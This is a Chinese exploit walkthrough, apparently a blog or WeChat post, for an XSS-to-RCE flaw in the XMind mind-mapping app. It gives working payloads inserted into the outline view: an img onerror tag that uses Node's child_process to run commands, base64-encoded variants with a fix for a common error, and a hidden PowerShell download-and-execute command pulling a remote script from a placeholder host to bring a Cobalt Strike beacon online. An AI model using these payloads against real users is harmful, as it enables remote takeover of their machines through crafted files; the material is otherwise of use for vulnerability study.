漏洞复现-XMind XSS 导致RCE

免责声明：

由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本文作者不为此承担任何责任。切勿用于未授权测试！本文主要来自日常学习记录！

昨天新出来的Xmind xss可执行RCE在各大公众号上出现，但是很多公众号都不够详细，导致在执行的时候遇见各种报错。有师傅感叹，是不是刚出来洞就修了。

漏洞介绍：

XMind是风靡全球的头脑风暴和思维导图软件,为激发灵感和创意而生。Xmind被用于绘制思维导图等，近期在网上曝出xss漏洞，可执行系统命令。XMind 是一款专业的全球领先的商业思维导图软件，在国内使用广泛，拥有强大的功能、包括思维管理、商务演示、与办公软件协同工作等功能。它采用全球先进的Eclipse RCP软件架构，是集思维导图与头脑风暴于一体的可视化思考工具，能用来捕捉想法、理清思路、管理复杂信息并促进团队协作。XMind思维导图软件曾被著名互联网媒体Lifehacker评选为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。

漏洞复现：

首先我们要准备一个存在漏洞的版本，可自行下载

根据部分公众号上的代码来复现

漏洞位置在大纲处：

进入大纲尝试插入xss代码：

这里需要注意：执行代码的时候必须鼠标的光标移到最后，触发xss可以按ctrl键或者空格

插入xss代码执行系统命令：

<img src=1 onerror="require('child_process').exec('calc.exe',null);">

当然也可以执行一些系统命令：

这里需要指出，网上很多xss代码都进行了base64编码：

<img src=# onerror='eval(newBuffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=`,`base64`).toString())'>

但是我们执行这个的时候会报错：

这个时候我们只要把newBuffer中间加上空格即可：

上线cs：

这里注意downloadstring（）里的单引号前要加转义

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxx:8866/a'))"',(error,stdout, stderr)=>{   alert(`stdout: ${stdout}`);  });

上面的代码base64编码后执行上线：

<img src=# onerror='eval(new Buffer(`base64编码后的代码`,`base64`).toString())'>

本文始发于微信公众号（Fight Tigers Team）：漏洞复现-XMind XSS 导致RCE